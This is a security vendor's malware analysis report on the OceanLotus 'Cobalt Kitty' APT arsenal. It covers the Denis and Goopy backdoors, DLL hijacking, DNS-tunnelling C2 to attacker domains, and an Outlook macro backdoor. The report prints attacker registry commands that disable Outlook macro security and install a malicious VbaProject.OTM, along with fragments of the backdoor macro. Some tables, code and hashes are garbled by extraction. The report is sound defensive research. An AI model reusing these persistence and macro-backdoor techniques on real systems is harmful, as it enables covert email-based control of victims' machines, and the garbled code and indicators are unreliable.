Operation Cobalt Kitty
Attacker's Arsenal

By: Assaf Dahan
# Table of Contents

**Introduction**

**Meet Denis the Menace: The APT's main backdoor**  
- Description  
- **3-in-1: Phantom DLL hijacking targeting Microsoft’s Wsearch Functionality**  
- **Static analysis**  
- **Dynamic analysis**  
  - Variation in process injection routines  
  - The backdoor code  
  - C2 communication

**Second backdoor: “Goopy”**  
- Analysis of Goopy  
- **DLL side loading against legitimate applications**  
- **Outlook backdoor macro**  
- **Cobalt Strike**  
- **COM Scriptlets (.sct payloads)**  
- **Obfuscation and evasion**  
  - Don't-Kill-My-Cat  
  - Invoke-obfuscation (PowerShell Obfuscator)  
  - PowerShell bypass tool (PSUnlock)

**Credential dumpers**  
- **Mimikatz**  
- **GetPassword x64**  
- **Custom “HookPasswordChange”**  
- **Custom Outlook credential dumper**  
- **Custom Windows credential dumper**

**Modified NetCat**

- **Custom IP check tool**
Introduction

During the investigation, Cybereason recovered over 80 payloads that were used during the four stages of the attack. Such a large number of payloads is quite unusual and further demonstrates the attackers’ motivation to stay under the radar and avoid using the same payloads on compromised machines. At the time of the attack, only two payloads had file hashes known to threat intelligence engines, such as VirusTotal.

This arsenal is consistent with previous documentations of the OceanLotus Group. But it also includes new custom tools that were not publicly documented in APTs carried out either by the OceanLotus Group or by threat actors.

The payloads can be broken down into three groups:

<table>
<thead>
<tr>
<th>Payload type</th>
<th>Total number</th>
<th>Main payloads</th>
<th>Previously reported being used by OceanLotus?</th>
</tr>
</thead>
</table>
| Binary files (.exe and .dll files) **found on compromised machines** | 46 | • Variant of the Denis Backdoor (msfte.dll)  
• Goopy Backdoor (goopdate.dll)  
• Cobalt Strike's Beacon  
• Mimikatz  
• GetPassword_x64  
• PSUnlock  
• NetCat  
• HookPasswordChange  
• Custom Windows Credential Dumper  
• Custom IP tool | No**  
No**  
Yes  
Yes  
No  
No  
No  
No  
No |
| Scripts (PowerShell + VBS) **found on compromised machines** | 24 | • Backdoor - PowerShell version  
• Outlook Backdoor (Macro)  
• Cobalt Strike Downloaders / Loaders / Stagers  
• Cobalt Strike Beacon  
• Custom Windows Credential Dumper  
• Custom Outlook Credential Dumper  
• Mimikatz  
• Invoke-Obfuscation (PowerShell Obfuscator)  
• Don’t-Kill-My-Cat (Evasion/Obfuscation Too) | No**  
No**  
Yes  
Yes  
Yes  
Yes  
Yes  
Yes |
| C&C Payloads | 18 | • Cobalt Strike Downloaders / Stagers  
• Cobalt Strike Beacon  
• COM scriptlets (downaders) | Yes  
Yes  
Yes |

** OceanLotus is said to use tools with similar capabilities, however, no public documentation is available to determine whether the tools are the same.
Meet Denis the Menace: The APT’s main backdoor

Description

The main backdoor was introduced by the attackers during the second stage of the attack, after their PowerShell infrastructure was detected and shut down. **Cybereason spotted the main backdoor in December 2016:**

This backdoor was dubbed “**Backdoor.Win32.Denis**” by Kaspersky, which published their analysis of it in March 2017. However, quite possibly, the is evidence of this backdoor being used “in-the-wild” **back in August 2016.** At the time of the attack, the backdoor was not previously known or publicly analyzed in the security community. The backdoor used in the attack is quite different from the samples analyzed by Kaspersky and other samples caught “in-the-wild”:

<table>
<thead>
<tr>
<th>Cobalt Kitty “Denis” Variants</th>
<th>Backdoor.Win32.Denis</th>
</tr>
</thead>
<tbody>
<tr>
<td>File Type</td>
<td>.dll + .ps1</td>
</tr>
</tbody>
</table>
Vessel

| Legitimate applications vulnerable to DLL hijacking / PowerShell |
| Standalone executables |
| Loader and Process Injection |

Loader decrypts the backdoor payload and injects to host processes: `rundll32.exe / svchost.exe / arp.exe / PowerShell.exe`

No injection to host processes documented

| Anti analysis tricks |

More sophisticated anti-debugging anti-emulation tricks were put to hinder analysis

Anti-analysis tricks exist, however, fewer and simpler

In terms of the backdoor’s features, it has similarities to the backdoor (SOUNDBITE), described in FireEye’s report about APT32 (OceanLotus). However, FireEye’s analysis of this backdoor is not publicly available. Therefore, Cybereason cannot fully determine whether SOUNDBITE and Denis are the same backdoor, even though the likelihood seems rather high.

The backdoor’s main purpose was to provide the attackers with a “safe” and stealthy channel to carry out post-exploitation operations, such as information gathering, reconnaissance, lateral movement and data collection (stealing proprietary information). The backdoor uses DNS Tunneling as the main C2 channel between the attackers and the compromised hosts. The backdoor was mainly exploiting a rare “phantom DLL hijacking” against legitimate Windows Search applications. The attacker also used a PowerShell version of the backdoor on a few machines. However, the majority came in a DLL format.

Most importantly, the analysis of the backdoor binaries strongly suggests that the binaries used in the attack were custom made and differ from other binaries caught in the wild. The binaries were generated using a highly-sophisticated PE modification engine, which shows the threat actor’s high level of sophistication.

Four variants of the main backdoor were found in the environment:

<table>
<thead>
<tr>
<th>File name</th>
<th>Variation type</th>
<th>SHA-1 hash</th>
</tr>
</thead>
<tbody>
<tr>
<td>msfte.dll</td>
<td>Injected host process: svchost.exe</td>
<td>638B7B0536217C8923E856F4138D9CAFF7EB309D</td>
</tr>
<tr>
<td>msfte.dll</td>
<td>Injected host process: rundll32.exe</td>
<td>BE6342FC2F33D8380E0EE5531592E9F676BB1F94</td>
</tr>
<tr>
<td>msfte.dll</td>
<td>Injects host process: arp.exe</td>
<td>43B85C5387AABFB91B9A559782622E9B0DB234B151F</td>
</tr>
<tr>
<td>PowerShell #1:</td>
<td>Injected host process: PowerShell.exe (via reflective DLL injection)</td>
<td>91E9465532EF967C93B1EF04B7A906A A533A370E</td>
</tr>
<tr>
<td>Sunjavascheduler.ps1</td>
<td></td>
<td>0d3a33cb848499a9404d099f8238a6a0e0</td>
</tr>
<tr>
<td>SndVoISSO.ps1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>PowerShell #2:</td>
<td></td>
<td></td>
</tr>
<tr>
<td>SCVHost.ps1</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

©2017 Cybereason Inc. All rights reserved.
3-in-1: Phantom DLL hijacking targeting Microsoft’s Wsearch

The “msfte.dll” payloads exploits a rather rare “phantom DLL hijacking” vulnerability against components of Microsoft’s Windows Search to gain stealth, persistence and privilege escalation all at once. There are only a few documented cases where it was used in an APT. This vulnerability is found in all supported Windows versions (tested against Windows 7 to 10) against the following applications:

**SearchIndexer.exe** (C:\Windows\System32)
**SearchProtocolHost.exe** (C:\Windows\System32)

These applications play a crucial role in Windows’ native search mechanism, and are launched automatically by the Wsearch service, meaning that they also run as SYSTEM. From an attacker perspective, exploiting these applications is very cost effective since it allows them to achieve two goals simultaneously: persistence and privilege escalation to SYSTEM.

The core reason for this lies in the fact that these applications attempt to load a DLL called “msfte.dll.” This DLL does not exist by default on Windows OS, hence, the name “phantom DLL.” Attackers who gain administrative privileges can place a fake malicious “msfte.dll” under “C:\Windows\System32\”, thus ensuring that the DLL will be loaded automatically by **SearchIndexer.exe** and **SearchProtocolHost.exe** without properly validating the integrity of the loaded module:
Following responsible disclosure, this vulnerability was reported to Microsoft on April 1, 2017.

**Functionality**

The fake msfte.dll is not the core backdoor payload. It serves as a loader whose purpose is to load the malicious code in a stealthy manner that will also ensure persistence. The actual payload is decoded in memory and injected to other Windows host processes, such as: svchost.exe, rundll32.exe and arp.exe. Once the core payload is injected, the backdoor will commence C2 communication using DNS tunneling. The backdoor will send details about the infected host, network and the users to the C&C server, and will wait for further instructions from its operators. The main backdoor actions, as observed by Cybereason, consisted of:

- Deploying additional backdoors (goopdate.dll + Outlook backdoor)
- Reconnaissance and lateral movement commands (via cmd.exe)
- Deploying other hacking tools (Mimikatz, NetCat, PowerShell bypass tool, etc.)

The backdoor gives its operator the ability to perform different tasks on the infected machines, depending on the commands (flags) received from C&C:

- Create/delete/move files and directories
- Execute shell commands used for reconnaissance and information gathering
- Enumerate users, drivers and computer name
- Query and set registry keys and values
Static analysis

The msfte.dll loader payloads were all compiled during the time of the attack, showing that the attackers were preparing new samples on the fly. All observed loader payloads are 64-bit payloads. However, the actual backdoor payload is always 32-bit (using WOW64). This is a rather peculiar feature of this backdoor. The core backdoor payload was compiled using Microsoft Visual Studio (C++), however, the loader does not carry any known compiler signatures.

Another sign that the loader’s code was custom-built can be found when examining instructions in the code that are clearly not compiler-generated. Instructions like CPUID, XMM instructions/registers, xgetbv, as well as others, were placed within the binaries for the obvious reason of anti-emulation. In addition, the loader’s code also contain many “common” anti-debugging tricks, using APIs such as: IsDebuggerPresent(), OutputDebugString(), SetLastError() and more.

The file structure does not contain any unusual sections:

<table>
<thead>
<tr>
<th>#</th>
<th>Name</th>
<th>Virtual Size</th>
<th>Virtual Address</th>
<th>Physical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>.text</td>
<td>0xE45E</td>
<td>0x1000</td>
<td>0xE600</td>
</tr>
<tr>
<td>2</td>
<td>.rdata</td>
<td>0x87E4</td>
<td>0x10000</td>
<td>0x8800</td>
</tr>
<tr>
<td>3</td>
<td>.data</td>
<td>0x3E78</td>
<td>0x1C00</td>
<td>0x1A00</td>
</tr>
<tr>
<td>4</td>
<td>.pdata</td>
<td>0x5D00</td>
<td>0x20000</td>
<td>0x5E00</td>
</tr>
<tr>
<td>5</td>
<td>.rsrc</td>
<td>0x3BAC4</td>
<td>0x21000</td>
<td>0x3BC00</td>
</tr>
<tr>
<td>6</td>
<td>.reloc</td>
<td>0x7FC</td>
<td>0x5D000</td>
<td>0x800</td>
</tr>
</tbody>
</table>

However, the resources section does contains a base64-encoded payload:
When decoding the base64 resource, there’s a large chunk of shellcode that is followed by a corrupted PE file, whose internal name is “CiscoEapFast.exe”:

It’s interesting to mention that several samples of the Denis Backdoor that were caught in the wild (not as part of this attack), were also named CiscoEapFast.exe. Please see the Attackers’ Profile and Indicators of Compromise section for more information.

This embedded executable is the actual payload that is injected to the Windows host processes, once the fake DLL is loaded and executed.
The loader’s export table lists over 300 exported functions. This is highly unusual for malware, and is one of the most intriguing features:

<table>
<thead>
<tr>
<th>Export Name</th>
<th>Ordinal</th>
<th>Virtual Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>CMC_StartAlert</td>
<td>1</td>
<td>0x1060</td>
</tr>
<tr>
<td>CMC_StopAlert</td>
<td>2</td>
<td>0x1060</td>
</tr>
<tr>
<td>CreateSetupProductInfo</td>
<td>3</td>
<td>0x1060</td>
</tr>
<tr>
<td>CreateSetupProductInfo2</td>
<td>4</td>
<td>0x1060</td>
</tr>
<tr>
<td>CreateSetupProductInfo3</td>
<td>5</td>
<td>0x1060</td>
</tr>
<tr>
<td>DllCanUnloadNow</td>
<td>6</td>
<td>0x1060</td>
</tr>
<tr>
<td>DllEntry</td>
<td>7</td>
<td>0x1060</td>
</tr>
<tr>
<td>DllGetClassObject</td>
<td>8</td>
<td>0x1060</td>
</tr>
</tbody>
</table>

If we take a look at the address that this RVA translates to in a live instance of msfte.dll (Image base + 0x1060) here is what we see:

In other words, the author simply created a small do-nothing function (that just exits the current process) for all of the exports to resolve to. Exports like this would have been generated at compile-time, or implanted here using a highly sophisticated PE modification engine. This indicates that this entire attack was planned in advance and that this binary was custom-built to hijack specific applications. Indications of such pre-mediated design were found during the attack, when more backdoor variants were discovered exploiting DLL-hijacking against legitimate Kaspersky and Google applications.

Take the ability to exploit Kaspersky’s AVPIA application. Examination of the exported functions clearly show that the attackers generated the same exports (e.g “CreateSetupProductInfo”) that are found in a legitimate Kaspersky’s product_info.dll:

<table>
<thead>
<tr>
<th>Exports of a legitimate product_info.dll</th>
<th>Exports of msfte.dll backdoor</th>
</tr>
</thead>
<tbody>
<tr>
<td>File name: product_info.dll</td>
<td>File name: msfte.dll</td>
</tr>
<tr>
<td>SHA-1: 6a8c955e5e17ac1adfecadbff8dcf0861a74f7</td>
<td>SHA-1: C6a8c955e5e17ac1adfecadbff8dcf0861a74f7</td>
</tr>
</tbody>
</table>
Dynamic analysis

When the fake msfte.dll is loaded to searchindexer.exe or searchprotocolhost.exe, one of the first steps it takes is to dynamically resolve critical APIs, using the good ol’ `GetProcAddress()` and `LoadLibrary()` combination:
Then the loader will load the base-64 encoded payload from the resources section:

Variation in process injection routines

As mentioned earlier, the msfte.dll samples showed variation in the target host processes for injection (svchost.exe, rundll32.exe and arp.exe). However, there’s also a variation in the injection technique that was used to inject the payloads:

<table>
<thead>
<tr>
<th>Process Injection</th>
<th>Process Hollowing</th>
</tr>
</thead>
<tbody>
<tr>
<td>Target host processes: rundll32.exe</td>
<td>Target host processes: svchost.exe / arp.exe</td>
</tr>
<tr>
<td>Determining the path of target host process:</td>
<td>Determining the path of target host process:</td>
</tr>
<tr>
<td>GetSystemDirectoryA → PathAppendA</td>
<td>GetSystemDirectoryA → PathAppendA</td>
</tr>
<tr>
<td>Process Injection routine:</td>
<td>Process Hollowing routine:</td>
</tr>
<tr>
<td>CreateProcessA → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread</td>
<td>CreateProcessA → VirtualAllocEx → WriteProcessMemory → Wow64GetThreadContext → Wow64SetThreadContext → ResumeThread</td>
</tr>
</tbody>
</table>

Why the backdoor authors chose to implement two different process injection techniques is unclear. But these implementations lead to some clear conclusions:

1. The use of *PathAppendA* API is common to both injections. This is a rather obscure API that is not commonly observed in malware, at least not in the context of code injection.
2. Use of a *less-common* process hollowing implementation:
   - This style of process hollowing is quite uncommon. Usually in process hollowing, the *ZwUnmapViewOfSection* or *NtUnmapViewOfSection* API functions are used to unmap the original code. But in this case, the original target host process code is not mapped out. Instead, the loader uses the *Wow64SetThreadContext* API to change the EAX register to point to the malicious payload entry point rather than the entry point of the original/authentic svchost executable in memory.
3. The use of Wow64 APIs indicates that the author went specifically out of their way to utilize a 32-bit payload system, even though that the loaders are 64-bit payloads.

The backdoor code

The injected payload consists of a long shellcode payload that is followed by a PE file, whose MZ header as well as other sections of the PE structure have been corrupted for anti-analysis purposes and also possibly to evade memory-based security solutions:

```
000000f90 ff 6a 00 6a 01 85 ff 85 ff ff ff 0f .j.j..U.R.X...%
000000fa0 b6 c0 89 45 80 6a ff ff ff ff ff ff ff eb 0c 8b ...E.J........
000000fbb0 4d 98 81 e9 00 10 dc 00 89 4d 80 6b 45 80 eb 07 M.........M...E...
000000fc0 e6 00 00 00 00 39 c5 80 00 5e e8 e5 5d c2 04 00 67 12 ...X...^...g
000000fd0 48 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00...
000000fe0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000000ff0 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000001000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000001010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000001020 53 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000001030 38 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000001040 6f 4d 65 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000001050 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000001060 47 5b 81 81 31 2e da f8 81 5e da f8 81 5e da f8 81 45 7e 0f .E.....E.......
000001070 47 5a 81 81 72 2e da f8 81 5e da f8 81 5e da f8 81 45 7e 0f .E.....E.......
000001080 47 5b 81 81 81 2e da f8 81 5e da f8 81 5e da f8 81 45 7e 0f .E.....E.......
000001090 47 5b 81 81 81 81 2e da f8 81 5e da f8 81 5e da f8 81 45 7e 0f .E.....E.......
0000010a0 69 63 68 5e da f8 81 5e da f8 81 5e da f8 81 45 7e 0f .E.....E.......
```

The purpose of the shellcode is to dynamically resolve the imports as well as to fix the destroyed PE sections on the fly. The first step is to resolve kernel32.dll in order to import **GetProcAddress()** and **LoadLibrary()** and through them dynamically resolve the rest of the imported APIs:

```
; Sub_80000
push ebp
mov ebp, esp
sub esp, 04
push esi
push edi
mov dword ptr [esi-40h], 0
add esp, 8
mov DWORD PTR [esi-04h], eax
ret
```

Resolving GetProcAddress():
Once the repair is done, the shellcode will create a new RWX region, and copy the PE there, leaving the MZ header remains corrupted:

The PE’s metadata contains the file name (“ciscoeapfast.exe”) and description (“Cisco EAP-FAST Module”). The metadata must have been manually altered by the backdoor authors to make it look like a credible product:

SHA-1: E9DAB61AE30DB10D96FDC80F5092FE9A467F2CD3

The strings “ciscoeapfast.exe” and “Cisco EAP-FAST Module” were found in most of the samples of the Denis backdoor that were recovered during the investigation. In addition, the
threat actor has been using it in other attacks as well. Please see our Attackers’ Profile & Indicators of Compromise section of this report.

Finally, the backdoor will decrypt important strings, such as IPs and domain names that are necessary for the C&C communication via DNS Tunneling.

Excerpt from the domain decryption subroutine:

The following screenshot shows the final decrypted strings used for the DNS Tunneling communication:

- **DNS Server IPs:** 208.67.222.222 (OpenDNS) and Google (8.8.8.8)
- **Domain name:** teriava(.)com
C2 communication

As mentioned before, the backdoor uses a stealthy C2 communication channel by implementing DNS Tunneling. This technique uses DNS packets to transfer information between two hosts. In general, this technique is considered to be rather stealthy since not many security products perform deep packet inspection, which would detect this activity. The backdoor authors added even more stealthy components to this technique and made sure that no direct connection was established between the compromised machines and the real C&C servers.

The attackers use trusted DNS servers, such as OpenDNS and Google’s DNS servers, in order to resolve the IPs of the domains that were hidden inside the DNS packets. Once the packets reached the real C&C server, the base64-encoded part is stripped, decoded and re-assembled, thus enabling communication as well as data exfiltration. This is a rather slow yet smart way to ensure that the traffic will not be filtered, since most organizations will not block DNS traffic to Google or OpenDNS servers. This technique’s biggest caveat is that it can get very “noisy” in terms of the unusual amount of DNS packets required to exfiltrate data such as files and documents.

Example of the network traffic generated by the backdoor
The destination IP is Google’s 8.8.8.8 DNS server, and the DNS packet contain the real domain in the query field. The data sent to the server comes in the form of a base64-encoded string, which is appended as a subdomain:

<table>
<thead>
<tr>
<th>Destination</th>
<th>Protocol</th>
<th>Len</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>8.8.8.8</td>
<td>DNS</td>
<td>3</td>
<td>Standard query 0x07e8 NULL AAAAAAAAAAAAAAAAAAAAAAAAAAGC_z.teriava.com</td>
</tr>
<tr>
<td>192.168.0.36</td>
<td>DNS</td>
<td>1</td>
<td>Standard query response 0x07e8 NULL AAAAAAAAAAAAAAAAAAAAAAAAAAGQ_z.teriava...</td>
</tr>
</tbody>
</table>

Second backdoor: “Goopy”

The adversaries introduced another backdoor during the second stage of the attack. We named it “Goopy”, since the backdoor’s vessel is a fake goopdate.dll file, which was dropped together with a legitimate GoogleUpdate.exe application which is vulnerable to DLL hijacking and placed the two files under a unique folder in APPDATA:

C:\users\xxxxxxx\appdata\local\google\update\download\{GUID}\n
Seven unique samples of the “Goopy” backdoor were recovered by Cybereason:
The attackers used a **legitimate and signed GoogleUpdate.exe** application that is vulnerable to **DLL hijacking vulnerability**:

GoogleUpdate.exe, **SHA-1**: d30e8c7543adbc801d675068530b57d75cabb13f,

---

**File information**

---

GoogleUpdate’s DLL hijacking vulnerability was previously reported to already in 2014, since other malware have been exploiting this vulnerability. Most notable ones are the notorious **PlugX** and the **CryptoLuck** ransomware.

*** Following responsible disclosure, this vulnerability was reported to Google on April 2, 2017.

**Analysis of Goopy**

From features perspective, Goopy shows great similarities to the Denis backdoor. At the same time, code analysis of the two backdoor clearly shows substantial differences between the two. The coding style and other static features suggest that they were compiled (and possibly authored) by the same threat actor. One of the more interesting features of Goopy is that it
seems specifically designed to exploit a “DLL Hijacking” vulnerability against Google Update (googleupdate.exe) using a fake `goopdate.dll` module. There may be other versions targeting other applications, but the ones Cybereason obtained, specifically contained code that specifically targeted GoogleUpdate. The Goopy backdoor was dropped and launched by the Denis backdoor. The machines infected with Goopy had already been infected by the Denis backdoor. Generally, it is not very common to see multiple backdoors from the same threat actors residing on the same compromised machines. Nonetheless, this pattern was observed on multiple machines throughout the attack.

Following are the most notable features that distinguish Goopy from Denis:

- **Unusually large files (30MB to 55MB)** - Compared to the Denis backdoor, which ranges between 300KB and 1.7MB. This is quite unusual. The goopdate.dll files are inflated with null characters, most probably to bypass security solutions that don’t inspect large files.

In addition, the Goopy backdoor has a lot of junk code interlaced with real functions - to make analysis harder. One example is in a giant subroutine that contains more than 5600 nodes, containing many anti-debugging / anti-disassembly tricks, including infinite loops:

- **Specifically tailored to target GoogleUpdate** - The Goopy payloads contain a hard-coded verification made to ensure that the backdoor is loaded and executed by GoogleUpdate. If the check fails, the backdoor will terminate the googleupdate process and exit. By comparison, The Denis backdoor loader is more “naive”, since it doesn’t check from which process the backdoor is executed, thus making it also more flexible, since it can exploit DLL hijacking on any given vulnerable application:
● **Stealthier and more advanced** - Unlike the Denis backdoor, googupdate.dll shows significant signs of post-compilation modification. The code section of this PE is extremely interesting and unusual, and demonstrates the potential of a very powerful code-generation engine underlying it. The backdoor’s code and data are well protected and are decrypted at runtime, using a complex polymorphic decryptor. The polymorphic decryptor is comprised of thousands of lines that are interlaced with junk API calls and nonsense code in order to thwart analysis. Here’s an example:

```assembly
.text:70FEB8B0 sub_70FEB8B0 proc near ; CODE XREF: sub_70FEB470+18Tp
.text:70FEB8B0 ; sub_70FEB810+48Tp
.text:70FEB8B0
.text:70FEB8B0 hObject = dword ptr -8
.text:70FEB8B0 var_4 = dword ptr -4
.text:70FEB8B0
.text:70FEB8B0 push ebp
.text:70FEB8B1 mov ebp, esp
.text:70FEB8B3 sub esp, 8
.text:70FEB8B6 push offset aGoogleUpdate_0 ; "GoogleUpdate.exe"
.text:70FEB8B8 push offset String1 ; "GoogleUpdate.exe"
.text:70FEB8C0 call ds:strcmpI
.text:70FEB8C6 test eax, eax
.text:70FEB8C8 jz short loc_70FEB8D6
.text:70FEB8CA push 0 ; uExitCode
.text:70FEB8CC call ds:ExitProcess
.text:70FEB8D2 mov al, 1
.text:70FEB8D4 jmp short loc_70FEB931
```

```c
x = 2
y = 3
z = x + y
```

©2017 Cybereason Inc. All rights reserved.
● **HTTP Communication** - Unlike the Denis backdoor, Goopy was observed communicating over HTTP (port 80 and 443), in addition to its DNS-based C2 channel:

DNS resolution of the C&C server IP:

Example of HTTP usage, as observed using Wireshark to log the network traffic generated by Goopy:
● Different DNS tunneling implementation - Unlike the main backdoor, this variant implements a different algorithm for the C2 communication over DNS tunneling and also used DNS TXT records. In addition, most of the samples communicated directly with the C&C servers over DNS, unlike the Denis backdoor that comes pre-configured with Google and OpenDNS as their intermediary DNS servers:

<table>
<thead>
<tr>
<th>Protocol</th>
<th>Len</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>DNS</td>
<td>98</td>
<td>Standard query 0x8acd TXT l bytecode 0x7c3e959d90b5f260.cloudwsus.net</td>
</tr>
<tr>
<td>DNS</td>
<td>98</td>
<td>Standard query 0xce56 TXT l bytecode 0x7c3e959d90b5f260.cloudwsus.net</td>
</tr>
<tr>
<td>DNS</td>
<td>98</td>
<td>Standard query 0x710d TXT A=1wDV51T8d4FpzDghQX6dss.cloudwsus.net</td>
</tr>
<tr>
<td>DNS</td>
<td>98</td>
<td>Standard query 0x956 TXT i=+X5zXlRt+vMnQHe1xkM9vss.cloudwsus.net</td>
</tr>
<tr>
<td>DNS</td>
<td>98</td>
<td>Standard query 0x16d TXT n84ZJAPBu5QhPjQKN+aD9ss.cloudwsus.net</td>
</tr>
<tr>
<td>DNS</td>
<td>98</td>
<td>Standard query 0xe927 TXT dYVSzH2C--gxd/ugDZAXJ9ss.cloudwsus.net</td>
</tr>
<tr>
<td>DNS</td>
<td>98</td>
<td>Standard query 0x3947 TXT lLgDjpeB0Q2pot/kSS0ress.cloudwsus.net</td>
</tr>
<tr>
<td>DNS</td>
<td>98</td>
<td>Standard query 0xe08b TXT Uip+jlvRGefAd-QG5wTw96ss.cloudwsus.net</td>
</tr>
<tr>
<td>DNS</td>
<td>98</td>
<td>Standard query 0xc33a TXT 5bAqijqYyR0H1wXhJvF6s.cloudwsus.net</td>
</tr>
<tr>
<td>DNS</td>
<td>98</td>
<td>Standard query 0x9038 TXT bL+JyFR/V0AhpmnLr4eWess.cloudwsus.net</td>
</tr>
<tr>
<td>DNS</td>
<td>98</td>
<td>Standard query 0xe589 TXT G3/TQr-PHwM4t19+DZNYVrss.cloudwsus.net</td>
</tr>
<tr>
<td>DNS</td>
<td>98</td>
<td>Standard query 0xbd1c TXT F5JN+1JQe8LojP9EmdZ1rss.cloudwsus.net</td>
</tr>
<tr>
<td>DNS</td>
<td>98</td>
<td>Standard query 0xd6bb TXT T3l+FXLLgflaeqy7hFZUess.cloudwsus.net</td>
</tr>
<tr>
<td>DNS</td>
<td>98</td>
<td>Standard query 0xe0a2 TXT DAxuEBLGjrUer///3pQ+n6ss.cloudwsus.net</td>
</tr>
<tr>
<td>DNS</td>
<td>98</td>
<td>Standard query 0x363b TXT AKAZ993fExcy7F3bF0Hg9ss.cloudwsus.net</td>
</tr>
<tr>
<td>DNS</td>
<td>98</td>
<td>Standard query 0x5737 TXT D9+wh0F4x8I-/9cLKn+Porsss.cloudwsus.net</td>
</tr>
<tr>
<td>DNS</td>
<td>98</td>
<td>Standard query 0xe4aad TXT 9p02jeyCrwYYGDT2cUcvQP6s.cloudwsus.net</td>
</tr>
<tr>
<td>DNS</td>
<td>98</td>
<td>Standard query 0x05ab TXT 2qkWBD0dcZ+WAe92v2fyess.cloudwsus.net</td>
</tr>
</tbody>
</table>

● Different Mutex creation routine - The mutex creation routine exhibited in “Goopy” is different from the main backdoor, which is made out of a pseudo-random generated value that is appended to the user name:
As opposed to the Denis’ mutex pattern, which has a pseudo-random generated value appended to the user name, the mutex format is different and contains neither curly brackets nor dashes:

- **Persistence** - While Denis uses Window’s Wsearch Service for persistence, Goopy uses also scheduled tasks to ensure that the backdoor is running. The scheduled task runs every hour. If the backdoor’s mutex is detected, the newly run process will exit.
The attackers used DLL side loading, a well-known technique for evading detection that uses legitimate applications to run malicious payloads. In Cobalt Kitty, the attackers used DLL side loading against software from Kaspersky, Microsoft and Google. The hackers likely picked these programs since they’re from reputed vendors, making users unlikely to question the processes these programs run and decreasing the chances that analysts will scrutinize them. For example, the attackers used the following legitimate Avpia.exe binary:

SHA-1: 691686839681adb345728806889925dc4eddb74e
They dropped the legitimate avpia.exe along with a fake DLL “product_info.dll” into PROGRAMDATA:

**SHA-1**: 3cf4b44c9470fb5bd0c16996c4b2a338502a7517

- **File**

  - **product_info.dll**
    - **Path**: c:\programdata\kis\kaspers...
    - **SHA1 Signature**: 3cf4b44c9470fb5bd0c1699...
    - **MD5 signature**: 554712faed9ee9731f78bdf...
    - **Blacklisted Reputation**: False
    - **Signed**: False

  - **Signature verified**

The payload found in the fake product_info.dll communicates with domain and IP that was previously used in the attack in to drop Cobalt Strike payloads:

- **DNS**

  - **13 resolved dns queries from domain to ip**
    - **support.chatconnecting.com**: 45.114.117.137
    - **support.chatconnecting.com**: 45.114.117.137
Outlook backdoor macro

During the third phase of the attack, the attackers introduced a new way to communicate with their C&C servers: an Outlook macro that serves as a backdoor. This backdoor is very unique and was not documented before to be used in APTs. The only references that come close to that type of Outlook backdoor are theoretical papers by the NSA (unclassified paper from 2000) as well as a research paper presented by a group of security researchers in 2011.

The attackers replaced Outlook’s original *VbaProject.OTM* file, which contains Outlook’s macros, with a malicious macro that serves as the backdoor. The backdoor receives commands from a Gmail address operated by the threat actor, executes them on the compromised machines and sends the requested information to the attacker’s Gmail account.

This technique was observed only on a handful of compromised machines that belonged to top-level management and were already compromised by at least one other backdoor.

Before the attackers deployed the macro-based backdoor, they had to take care of two things:

1. **Creating persistence**
   The attackers modified specific registry values to create persistence:
   
   ```
   REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Office\14\Outlook" /v "LoadMacroProviderOnBoot" /f /t REG_DWORD /d 1
   ```

2. **Disabling Outlook’s security policies**
To do that, the attackers modified Outlook’s security settings to enable the macro to run without prompting any warnings to the users:

```
REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Office\14\Outlook\Security"
/v "Level" /f /t REG_DWORD /d 1
```

Finally, the attackers replaced the existing VbaProject.OTM with the fake macro:

```
/u /c cd c:\programdata\& copy VbaProject.OTM C:\Users[REDACTED]\AppData\Roaming\Microsoft\Outlook
```

**VbaProject.OTM, SHA-1:320e25629327e0e8946f3ea7c2a747ebd37fe26f**

**The backdoor macro**

Once installed and executed, the macro performed these actions:

1. **Search for new instructions** - The macro will loop through the contents of Outlook’s inbox and searches for the strings “$$cpte” and “$$ecpte” inside an email’s body. These two strings mark the start and end of the strings the attackers are sending.

   The “beauty” of using these markers is that the attackers don’t need to embed their email addresses in the macro code, and can change as many addresses as they want. They only need to include the start-end markers:

   ```vbs
   strMsgBody = testObj.Body
   Dim startstr, endstr
   startstr = InStr(strMsgBody, "$$cpte")
   If startstr = 0 Then
       startstr = startstr + Len("$$cpte")
   endstr = InStr(startstr, strMsgBody, "$$ecpte")
   If endstr = 0 And endstr > startstr Then
       midstr = Mid(strMsgBody, startstr, endstr - startstr)
   ```

2. **Write the message to temp file** - When the macro finds an email whose content matches the strings, the message body is copied to %temp%\msgbody.txt:

   ```vbs
   Wscript.Echo "need to handle errors if the folder does not exist or the file is currently open"
   `temp%\msgbody.txt"
   `stringbody.txt"
   Dim fso, tf
   Set fso = CreateObject("Scripting.FileSystemObject")
   `warning("file does not exist or the file is currently open"
   `tf = fso.CreateTextFile(strfilename, True)
   `tf.Write strMsgBody``

3. **Delete the email** - The backdoor authors were keen to dispose of the evidence quickly to avoid raising any suspicions from the victims. Once the email content is copied, the macro deletes the email from the inbox:
4. Then the msgbody is parsed and the string between the start-end markers is passed as a command to cmd.exe:

```vba
' Dim myDeletedItem
' Set myDeletedItem = testObj.Move(DeletedFolder)
' myDeletedItem.Delete
' testObj.UserProperties.Add "Deleted", olText
' testObj.Save
' testObj.Delete
